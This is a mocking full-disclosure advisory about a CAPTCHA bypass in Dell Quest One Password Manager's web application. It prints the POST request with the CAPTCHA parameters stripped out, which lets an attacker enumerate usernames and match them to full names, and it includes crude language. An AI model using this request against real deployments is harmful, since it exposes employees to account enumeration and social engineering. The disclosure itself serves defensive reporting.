Dell Quest One Password Manager CAPTCHA Bypass

`-= [ Disclosure ]=-  
Filing Date: Today  
Issue Tracking Numbah: 20747  
Discoverorer: Johnny Bravo  
  
-=[ Background ]=-  
Quest made a password management web thing. Dell bought Quest. Dell  
offers Quest One(tm) Password Manager for $5/user.  
http://software.dell.com/products/password-manager/. (Oddly, this is  
not a joke.)  
  
-=[ Issue ]=-  
To use the web application you need to know your domain, username, and  
the value of the presented captcha. You submit that, correctly, and the  
web application will present you with the user's full name and some  
options.  
  
Today we will just talk about that bit there. You do not need to  
actually know the value of the captcha. Someone who is really bored  
could easily enumerate logins and match them to a user's name.  
  
-=[ Attack ]=-  
On the POST request you can just remove the captcha bits. Pretty  
fucking l33t. This is the kind of thing that HFG would produce. Or  
maybe Gobbles. Or, more likely, se7en. And no, I didn't find this in  
the "Snowden docs" although this may be an NSA backdoor... you decide!  
  
On to the attack. The POST data normally includes the following  
parameters:  
ScenarioActionId=42696720-7368-6974-2070-726F64756374&UserName=domain%5Cu  
  
ser&Search=false&CaptchaType=Captcha&UseCaptchaEveryTime=True&CaptchaResp  
  
onse=SelfCleaningVagina  
  
l33t hackers would send these parameters:  
ScenarioActionId=42696720-7368-6974-2070-726F64756374&UserName=domain%5Cu  
  
ser&Search=false  
  
-=[ Fix ]=-  
(This section is for the developers who wrote the software)  
Write the code such that, oh, I don't know, it actually checks to  
ensure the fucking captcha is used? Someone did this on one of the  
other pages in the app. Perhaps use the code from there? If it's not  
too much to ask that is.  
  
(This section is for product owners)  
Really, you bought this? Really? Really? Really?  
  
(This section is for users)  
Yes, that's right, any moron on the internets can discover your company  
login id and pair that with your name if you work at a place  
unfortunate enough to utilize this product. If your company doesn't  
have resources to create this app themselves, they've probably  
outsourced your helpdesk too, which means you're about to get pwn3d via  
some fairly lame social engineering. Enjoy that.  
  
-=[ Greetz ]=-  
Dell, Quest, and the security company that either uses this shit  
internally or resells it, or uses it and resells it.  
  
Brought to youse guys by,  
Johnny, Johnny Bravo  
  
PS If you haven't seen my tips on picking up the chicks, check it out  
on the youtube http://www.youtube.com/watch?v=xnGnl-UElVA.  
  
  
`